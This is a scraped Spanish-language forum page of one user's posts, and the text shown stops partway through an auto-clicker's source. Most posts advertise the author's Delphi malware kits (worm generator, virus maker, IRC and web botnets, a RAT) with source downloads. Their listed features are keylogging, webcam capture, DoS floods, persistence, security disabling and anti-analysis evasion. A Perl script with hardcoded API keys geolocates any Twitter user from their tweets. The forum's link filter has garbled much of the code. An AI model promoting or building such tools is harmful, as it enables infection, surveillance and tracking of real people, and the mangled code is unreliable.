Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - BigBear

Páginas: 1 [2] 3 4 ... 20
21
Delphi / [Delphi] DH Worm 1.0
« en: Octubre 20, 2016, 11:07:55 am »
Un Worm Generator hecho en Delphi.

Tiene las siguientes opciones :

  • Principales : [/li]

  • Mezclar una imagen con un malware y que la imagen resultante se vea bien[/li]
  • Descargar y dividir el malware de la imagen[/li]
  • USB Spread (tecnica de shortcuts y carpetas ocultas)[/li]
  • P2P Spread[/li]
  • ZIP Spread[/li]
  • Antidoto para eliminar los 3 tipos de spread[/li]

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

22
Perl / [Perl] DH Twitter Locator 0.6
« en: Octubre 19, 2016, 10:27:22 am »
Un script en Perl para scanear los tweets de cualquier usuario , basado en la idea original de "tinfoleak by Vicente Aguilera Diaz"

Funciones :

  • Extrae informacion del perfil[/li]
  • Scanea los tweets en busca de apps y locations[/li]
  • Permite cargar las localizaciones en google maps[/li]
  • Guarda todo en logs[/li][/list]

    El codigo :

    Código: Perl
    1. # !usr/bin/perl
    2. # DH Twitter Locator 0.6
    3. # (C) Doddy Hackman 2016
    4. # Credits :
    5. # Based in idea original of : tinfoleak by Vicente Aguilera Diaz
    6.  
    7. use LWP::UserAgent;
    8. use IO::Socket::SSL;
    9. use HTTP::Request::Common;
    10. use JSON;
    11. use Data::Dumper;
    12. use MIME::Base64;
    13. use Date::Parse;
    14. use DateTime;
    15. use Getopt::Long;
    16. use Color::Output;
    17. Color::Output::Init;
    18.  
    19. my $consumer_key = "IQKbtAYlXLripLGPWd0HUA";
    20. my $consumer_secret = "GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU";
    21.  
    22. my $bearer_token = "$consumer_key:$consumer_secret";
    23. my $bearer_token_64 = encode_base64($bearer_token);
    24.  
    25. my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    26. $nave->agent(
    27. "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
    28. );
    29. $nave->timeout(5);
    30.  
    31. GetOptions(
    32.    "profile"   => \$profile,
    33.    "apps"   => \$apps,
    34.     "locations"  => \$locations,
    35.     "username=s"   => \$username,
    36.     "count=i"   => \$count,
    37.     "savefile=s"  => \$savefile,
    38. );
    39.  
    40. head();
    41.  
    42. if ($profile) {
    43.    if($profile && $username) {
    44.       search_profile($username);
    45.    } else {
    46.       sintax();
    47.    }  
    48. }
    49. if ($apps) {
    50.    if($apps && $username && $count) {
    51.       search_apps($username,$count);
    52.    } else {
    53.       sintax();
    54.    }
    55. }
    56. if ($locations) {
    57.    if($locations && $username && $count) {
    58.       search_locations($username,$count);
    59.    } else {
    60.       sintax();
    61.    }
    62. }
    63. if(!$profile and !$apps and !$locations) {
    64.    sintax();
    65. } else {
    66.    if($savefile) {
    67.       printear_logo("\n</li><li type="square"> Logs $savefile saved\n");[/li][/list]
    68.    }
    69. }
    70.  
    71. copyright();
    72.  
    73. # Functions
    74.  
    75. sub search_profile {
    76.    my ($username) = @_;
    77.    
    78.    printear_titulo("\n</li><li type="square"> Loading Profile in Username : ");[/li][/list]
    79.    You are not allowed to view links. Register or Login $username." ...\n\n";
    80.    
    81.    #my $code = toma("[url]http://localhost/twitter/getuser.php[/url]");
    82.    my $code = get_code("[url]https://api.twitter.com/1.1/users/show.json?screen_name=[/url]".$username);
    83.  
    84.    my $resultado = JSON->new->decode($code);
    85.  
    86.    my $screen_name = $resultado->{"screen_name"};
    87.    if($screen_name eq "") {
    88.       $screen_name = "Not Found";
    89.    }
    90.    my $name = $resultado->{"name"};
    91.    if($name eq "") {
    92.       $name = "Not Found";
    93.    }
    94.    my $id = $resultado->{"id_str"};
    95.    if($id eq "") {
    96.       $id = "Not Found";
    97.    }
    98.    my $created = parse_date($resultado->{"created_at"});
    99.    if($created eq "") {
    100.       $created = "Not Found";
    101.    }
    102.    my $followers = $resultado->{"followers_count"};
    103.    if($followers eq "") {
    104.       $followers = "Not Found";
    105.    }
    106.    my $tweets_count = $resultado->{"statuses_count"};
    107.    if($tweets_count eq "") {
    108.       $tweets_count = "Not Found";
    109.    }
    110.    my $location = $resultado->{"location"};
    111.    if($location eq "") {
    112.       $location = "Not Found";
    113.    }
    114.    my $description = $resultado->{"description"};
    115.    if($description eq "") {
    116.       $description = "Not Found";
    117.    }
    118.    my $url = $resultado->{"url"};
    119.    if($url eq "") {
    120.       $url = "Not Found";
    121.    }
    122.    my $profile_image = $resultado->{"profile_image_url"};
    123.    if($profile_image eq "") {
    124.       $profile_image = "Not Found";
    125.    }
    126.    
    127.    printear("Screen Name : ");
    128.    You are not allowed to view links. Register or Login $screen_name."\n";
    129.    printear("Username : ");
    130.    You are not allowed to view links. Register or Login $name."\n";
    131.    printear("ID : ");
    132.    You are not allowed to view links. Register or Login $id."\n";
    133.    printear("Created at : ");
    134.    You are not allowed to view links. Register or Login $created."\n";
    135.    printear("Followers : ");
    136.    You are not allowed to view links. Register or Login $followers."\n";
    137.    printear("Tweets count : ");
    138.    You are not allowed to view links. Register or Login $tweets_count."\n";
    139.    printear("Location : ");
    140.    You are not allowed to view links. Register or Login $location."\n";
    141.    printear("Description : ");
    142.    You are not allowed to view links. Register or Login $description."\n";
    143.    printear("URL : ");
    144.    You are not allowed to view links. Register or Login $url."\n";
    145.    printear("Profile Image : ");
    146.    You are not allowed to view links. Register or Login $profile_image."\n";
    147.    
    148.    printear_titulo("\n</li><li type="square"> Profile Loaded\n");[/li][/list]
    149.    
    150.    if($savefile) {
    151.       savefile($savefile,"\n</li><li type="square"> Loading Profile in Username : $username\n");[/li][/list]
    152.       savefile($savefile,"Screen Name : $screen_name");
    153.       savefile($savefile,"Username : $name");
    154.       savefile($savefile,"ID : $id");
    155.       savefile($savefile,"Created at : $created");
    156.       savefile($savefile,"Followers : $followers");
    157.       savefile($savefile,"Tweets count : $tweets_count");
    158.       savefile($savefile,"Location : $location");
    159.       savefile($savefile,"Description : $description");
    160.       savefile($savefile,"URL : $url");
    161.       savefile($savefile,"Profile Image : $profile_image");
    162.       savefile($savefile,"\n</li><li type="square"> Profile Loaded");[/li][/list]
    163.    }
    164.  
    165.    #for my $number(1..5) {
    166.    #   sleep(1);
    167.    #   printear_logo("number : ");
    168.    #   printear_titulo($number."\r");
    169.    #}
    170.    #printear_titulo("Number : Finished\n");
    171. }
    172.  
    173. sub search_apps {
    174.    my($username,$count) = @_;
    175.    
    176.    printear_titulo("\n</li><li type="square"> Searching Apps in Username : ");[/li][/list]
    177.    You are not allowed to view links. Register or Login $username." ...\n\n";
    178.    
    179.    #my $code = toma("[url]http://localhost/twitter/timeline.php[/url]");
    180.    my $code = get_code("[url]https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=[/url]".$username."&include_rts=True&count=".$count);
    181.    
    182.    my $resultado = JSON->new->decode($code);
    183.    
    184.    my @resultado = @$resultado;
    185.    
    186.    my $i = 0;
    187.  
    188.    if(You are not allowed to view links. Register or Login(@resultado) eq "0") {
    189.       printear_rojo("[-] Tweets not found\n");
    190.    } else {
    191.       printear("</li><li type="square"> Tweets found : ");[/li][/list]
    192.       You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(@resultado)."\n\n\n";
    193.       printear("  Tweet\t\t Date\t\t   Apps\n");
    194.       You are not allowed to view links. Register or Login "  -----------------------------------------------------\n\n";
    195.      
    196.       if($savefile) {
    197.          savefile($savefile,"\n</li><li type="square"> Searching Apps in Username : $username\n");[/li][/list]
    198.          savefile($savefile,"</li><li type="square"> Tweets found : ".You are not allowed to view links. Register or Login(@resultado)."\n");[/li][/list]
    199.          savefile($savefile,"  Tweet\t\t Date\t\t   Apps\n");
    200.          savefile($savefile,"  -----------------------------------------------------\n");
    201.       }
    202.  
    203.       for my $result(@resultado) {
    204.          $i++;
    205.          my $source_split = $result->{"source"};
    206.          if($source_split=~/>(.*)<\/a>/) {
    207.             my $source = $1;
    208.             my $datetime = parse_date($result->{"created_at"});
    209.             if($source ne "") {
    210.                You are not allowed to view links. Register or Login("   %-5s %-22s %-15s\n", $i,$datetime,$source);
    211.                if($savefile) {
    212.                   savefile($savefile,"   $i\t$datetime\t$source");
    213.                }
    214.             }
    215.          }
    216.       }
    217.      
    218.       printear_titulo("\n\n</li><li type="square"> Apps Loaded\n");[/li][/list]
    219.      
    220.       if($savefile) {
    221.          savefile($savefile,"\n</li><li type="square"> Apps Loaded\n");[/li][/list]
    222.       }
    223.    }
    224.    
    225. }
    226.  
    227. sub search_locations {
    228.    my($username,$count) = @_;
    229.    
    230.    printear_titulo("\n</li><li type="square"> Searching Locations in Username : ");[/li][/list]
    231.    You are not allowed to view links. Register or Login $username." ...\n\n";
    232.    
    233.    #my $code = toma("[url]http://localhost/twitter/timeline.php[/url]");
    234.    my $code = get_code("[url]https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=[/url]".$username."&include_rts=True&count=".$count);
    235.    
    236.    my $resultado = JSON->new->decode($code);
    237.    
    238.    my @resultado = @$resultado;
    239.    
    240.    my $i = 0;
    241.  
    242.    if(You are not allowed to view links. Register or Login(@resultado) eq "0") {
    243.       printear_rojo("[-] Tweets not found\n");
    244.    } else {
    245.       printear("</li><li type="square"> Tweets found : ");[/li][/list]
    246.       You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login(@resultado)."\n\n\n";
    247.  
    248.       printear("  Tweet\t\t Date\t\t     Locations\n");
    249.       You are not allowed to view links. Register or Login "  -----------------------------------------------------\n\n";
    250.      
    251.       if($savefile) {
    252.          savefile($savefile,"\n</li><li type="square"> Searching Locations in Username : $username\n");[/li][/list]
    253.          savefile($savefile,"</li><li type="square"> Tweets found : ".You are not allowed to view links. Register or Login(@resultado)."\n");[/li][/list]
    254.          savefile($savefile,"  Tweet\t\t Date\t\t   Locations\n");
    255.          savefile($savefile,"  -----------------------------------------------------\n");
    256.       }
    257.  
    258.       for my $result(@resultado) {
    259.          $i++;
    260.          my $place = $result->{"place"}{"country"};
    261.          my $coordinates1 = $result->{"geo"}{"coordinates"}[0];
    262.          my $coordinates2 = $result->{"geo"}{"coordinates"}[1];
    263.          my $datetime = parse_date($result->{"created_at"});
    264.          if($place ne "") {
    265.             my $data = "";
    266.             if($coordinates1 ne "" && $coordinates2 ne "") {
    267.                $data = $place." [".$coordinates1.",".$coordinates2."]";
    268.             } else {
    269.                $data = $place;
    270.             }
    271.             You are not allowed to view links. Register or Login("   %-5s %-22s %-15s\n", $i,$datetime,$data);
    272.             if($savefile) {
    273.                savefile($savefile,"   $i\t$datetime\t$data");
    274.             }
    275.          }
    276.       }
    277.       printear_titulo("\n\n</li><li type="square"> Locations Loaded\n");[/li][/list]
    278.       if($savefile) {
    279.          savefile($savefile,"\n</li><li type="square"> Locations Loaded\n");[/li][/list]
    280.       }
    281.    }
    282.    
    283. }
    284.  
    285. # More Functions
    286.  
    287. sub get_token {
    288.    my $code = $nave->request(POST(
    289.       "[url]https://api.twitter.com/oauth2/token[/url]",
    290.       "Content-Type" => "application/x-www-form-urlencoded;charset=UTF-8",
    291.       "Authorization" => "Basic $bearer_token_64",
    292.       Content => { "grant_type" => "client_credentials" }
    293.    ))->content;
    294.    my $resultado = JSON->new->decode($code);
    295.    my $token = $resultado->{"access_token"};
    296.    You are not allowed to view links. Register or Login $token;
    297. }
    298.  
    299. sub get_code {
    300.    my $url = You are not allowed to view links. Register or Login;
    301.    my $code = $nave->request(GET($url,"Authorization" => "Bearer " . get_token()))->content;
    302.    You are not allowed to view links. Register or Login $code;
    303. }
    304.  
    305. sub parse_date {
    306.     my $date = You are not allowed to view links. Register or Login;        
    307.     $time = str2time($date);    
    308.     my $datetime = DateTime->from_epoch(epoch => $time);
    309.     You are not allowed to view links. Register or Login $datetime->mdy("/")." ".$datetime->hms;
    310. }
    311.  
    312. sub toma {
    313.     You are not allowed to view links. Register or Login $nave->get( $_[0] )->content;
    314. }
    315.  
    316. sub savefile {
    317.    my ($filename,$text) = @_;
    318.    You are not allowed to view links. Register or Login( SAVE, ">>" . $filename );
    319.    You are not allowed to view links. Register or Login SAVE $text . "\n";
    320.    You are not allowed to view links. Register or Login SAVE;
    321. }
    322.  
    323. sub printear {
    324.     cprint( "\x036" . $_[0] . "\x030" );
    325. }
    326.  
    327. sub printear_logo {
    328.     cprint( "\x037" . $_[0] . "\x030" );
    329. }
    330.  
    331. sub printear_titulo {
    332.     cprint( "\x0310" . $_[0] . "\x030" );
    333. }
    334.  
    335. sub printear_rojo {
    336.     cprint( "\x034" . $_[0] . "\x030" );
    337. }
    338.  
    339. sub printear_azul {
    340.     cprint( "\x033" . $_[0] . "\x030" );
    341. }
    342.  
    343. sub sintax {
    344.     printear("\n</li><li type="square"> Sintax : ");[/li][/list]
    345.     You are not allowed to view links. Register or Login "perl $0 <option> <value>\n";
    346.     printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
    347.     You are not allowed to view links. Register or Login "-profile : Show profile information\n";
    348.     You are not allowed to view links. Register or Login "-apps : List apps in tweets\n";
    349.     You are not allowed to view links. Register or Login "-locations : List locations in tweets\n";
    350.     You are not allowed to view links. Register or Login "-username <username> : Set username to find\n";
    351.    You are not allowed to view links. Register or Login "-count <count> : Set count to find\n";
    352.    You are not allowed to view links. Register or Login "-savefile <filename> : Save results\n";
    353.     printear("\n</li><li type="square"> Example : ");[/li][/list]
    354.     You are not allowed to view links. Register or Login "perl dh_twitter_locator.pl -profile -apps -locations -username test -count 800 -savefile results.txt\n";
    355.     copyright();
    356. }
    357.  
    358. sub head {
    359.     printear_logo("\n-- == DH Twitter Locator 0.6 == --\n\n");
    360. }
    361.  
    362. sub copyright {
    363.     printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    364.     You are not allowed to view links. Register or Login(1);
    365. }
    366.  
    367. #The End ?
    368.  

    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

23
Delphi / [Delphi] DH Twitter Locator 1.0
« en: Octubre 19, 2016, 10:24:06 am »
Un programa en Delphi para scanear los tweets de cualquier usuario , basado en la idea original de "tinfoleak by Vicente Aguilera Diaz"

Funciones :

  • Extrae informacion del perfil[/li]
  • Scanea los tweets en busca de apps y locations[/li]
  • Permite cargar las localizaciones en google maps[/li]
  • Guarda todo en logs[/li][/list]

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

24
Delphi / [Delphi] DH Virus Maker 2.0
« en: Octubre 18, 2016, 10:17:55 am »
Un generador de virus hecho en Delphi.

Tiene las siguientes opciones :

  • Funciones[/li]

    [++] Borrar archivos
    [++] Matar procesos
    [++] Ejecutar comandos
    [++] Abrir CD
    [++] Ocultar iconos y taskbar
    [++] Messages Single & Bomber
    [++] SendKeys
    [++] Abrir word y escribir solo
    [++] Crazy Mouse
    [++] Crazy Hour
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir URL
    [++] Cargar Paint
    [++] Cambiar texto del taskbar
    [++] Apagar monitor
    [++] Hacer que la computadora hable
    [++] Beep Bomber
    [++] Bloquear el teclado y el mouse
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Descargar y ejecutar malware con threads

  • Antidoto :[/li]

    [++] Activar Firewall
    [++] Activar Regedit
    [++] Activar UAC
    [++] Activar CMD
    [++] Activar Run
    [++] Restaurar y desbloquear wallpaper o screensaver
    [++] Activar Taskmgr
    [++] Activar Updates
    [++] Restaurar texto de taskbar
    [++] Mostrar de nuevo iconos o taskbar

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

25
Delphi / [Delphi] Project Spartacus 2.0
« en: Octubre 16, 2016, 09:33:31 am »
Una IRC Botnet hecha en Delphi.

Tiene las siguientes opciones :

  • Principales : [/li]

    [++] Conectar a cualquier servidor irc
    [++] Permite servidor IRC secundario
    [++] Establecer timeout por cada respuesta
    [++] El infectado puede usar un nick configurado o la ip codificada

  • Funciones[/li]

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Keylogger
    [++] Desintalador

  • DoS : [/li]

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    Descarga: You are not allowed to view links. Register or Login

    Eso seria todo.

26
Delphi / [Delphi] DH Botnet 2.0
« en: Octubre 14, 2016, 12:09:35 pm »
Una Botnet hecha en Delphi.

Tiene las siguientes opciones :

  • Principales : [/li]

    [++] Generar Key por cada infectado
    [++] Generar App en PHP de la botnet desde la GUI principal

  • Funciones[/li]

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Keylogger
    [++] Desintalador

  • DoS : [/li]

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

27
Delphi / [Delphi] DH Rat 2.0
« en: Octubre 12, 2016, 04:07:45 pm »
Un Rat hecho en Delphi.

Tiene las siguientes opciones :

  • Principales : [/li]

    [++] Conexion reversa
    [++] Conexion codificada

  • Funciones[/li]

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Capturar la webcam de forma remota
    [++] Capturar el escritorio de forma remota
    [++] Keylogger
    [++] Desintalador

  • DoS : [/li]

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias : [/li]

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis : [/li]

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables : [/li]

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

    Eso seria todo.

28
Delphi / [Delphi] DH Auto Clicker 0.6
« en: Octubre 02, 2016, 03:02:58 pm »
Un programa en Delphi para usar un clicker automatico para juegos o lo que sea.

Opciones :

  • Capturar posicion del mouse para usar en el programa[/li]
  • Timeout para cada click[/li]
  • Teclas de acceso rapido para empezar y terminar el clicker[/li]
  • Clicks en posiciones aleatorias[/li]
  • Los Clicks que permite son izquierda,medio,derecha y doble click[/li][/list]

    Una imagen :



    El codigo :

    Código: Delphi
    1. // DH Auto Clicker 0.6
    2. // (C) Doddy Hackman 2016
    3.  
    4. unit auto_clicker;
    5.  
    6. interface
    7.  
    8. uses
    9.   Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
    10.   System.Classes, Vcl.Graphics,
    11.   Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
    12.   Vcl.ComCtrls, Math, Vcl.ImgList, Vcl.Imaging.pngimage;
    13.  
    14. type
    15.   TFormHome = class(TForm)
    16.     logo: TImage;
    17.     gbMousePosition: TGroupBox;
    18.     lblXPosition: TLabel;
    19.     txt_X_Now: TEdit;
    20.     lblYPosition: TLabel;
    21.     txt_Y_Now: TEdit;
    22.     gbOptions: TGroupBox;
    23.     lblType: TLabel;
    24.     cmbType: TComboBox;
    25.     lblSleep: TLabel;
    26.     txtSleep: TEdit;
    27.     lblXSelect: TLabel;
    28.     txt_X_Select: TEdit;
    29.     lblYSelect: TLabel;
    30.     txt_Y_Select: TEdit;
    31.     lblSeconds: TLabel;
    32.     btnGetPosition: TButton;
    33.     cbUseRandomClicks: TCheckBox;
    34.     btnStart: TButton;
    35.     btnStop: TButton;
    36.     status: TStatusBar;
    37.     tmGetMousePosition: TTimer;
    38.     tmClicker: TTimer;
    39.     notificar: TTrayIcon;
    40.     tmHookKeys: TTimer;
    41.     ilIconos: TImageList;
    42.     procedure tmGetMousePositionTimer(Sender: TObject);
    43.     procedure btnGetPositionClick(Sender: TObject);
    44.     procedure tmClickerTimer(Sender: TObject);
    45.     procedure notificarClick(Sender: TObject);
    46.     procedure tmHookKeysTimer(Sender: TObject);
    47.     procedure btnStartClick(Sender: TObject);
    48.     procedure btnStopClick(Sender: TObject);
    49.   private
    50.     { Private declarations }
    51.   public
    52.     procedure capturar_posicion_mouse();
    53.     procedure iniciar_clicker();
    54.     procedure desactivar_clicker();
    55.   end;
    56.  
    57. var
    58.   FormHome: TFormHome;
    59.  
    60. implementation
    61.  
    62. {$R *.dfm}
    63.  
    64. function message_box(title, message_text, type_message: string): string;
    65. begin
    66.   if not(title = '') and not(message_text = '') and not(type_message = '') then
    67.   begin
    68.     try
    69.       begin
    70.         if (type_message = 'Information') then
    71.         begin
    72.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    73.             MB_ICONINFORMATION);
    74.         end
    75.         else if (type_message = 'Warning') then
    76.         begin
    77.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    78.             MB_ICONWARNING);
    79.         end
    80.         else if (type_message = 'Question') then
    81.         begin
    82.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    83.             MB_ICONQUESTION);
    84.         end
    85.         else if (type_message = 'Error') then
    86.         begin
    87.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    88.             MB_ICONERROR);
    89.         end
    90.         else
    91.         begin
    92.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
    93.             MB_ICONINFORMATION);
    94.         end;
    95.         Result := '</li><li type="square"> MessageBox : OK';[/li][/list]
    96.       end;
    97.     except
    98.       begin
    99.         Result := '[-] Error';
    100.       end;
    101.     end;
    102.   end
    103.   else
    104.   begin
    105.     Result := '[-] Error';
    106.   end;
    107. end;
    108.  
    109. procedure mouse_click(option: string);
    110. // Function based in : [url]http://www.swissdelphicenter.ch/torry/showcode.php?id=360[/url]
    111. // Thanks to Thomas Stutz
    112. begin
    113.   if (option = 'left') then
    114.   begin
    115.     mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    116.     mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    117.   end
    118.   else if (option = 'right') then
    119.   begin
    120.     mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
    121.     mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    122.   end
    123.   else if (option = 'middle') then
    124.   begin
    125.     mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
    126.     mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
    127.   end
    128.   else if (option = 'double') then
    129.   begin
    130.     mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    131.     mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    132.     GetDoubleClickTime;
    133.     mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    134.     mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    135.   end
    136.   else
    137.   begin
    138.     mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    139.     mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    140.   end;
    141. end;
    142.  
    143. procedure TFormHome.iniciar_clicker();
    144. begin
    145.   if (cmbType.ItemIndex <> -1) and not(txt_X_Select.Text = '') and
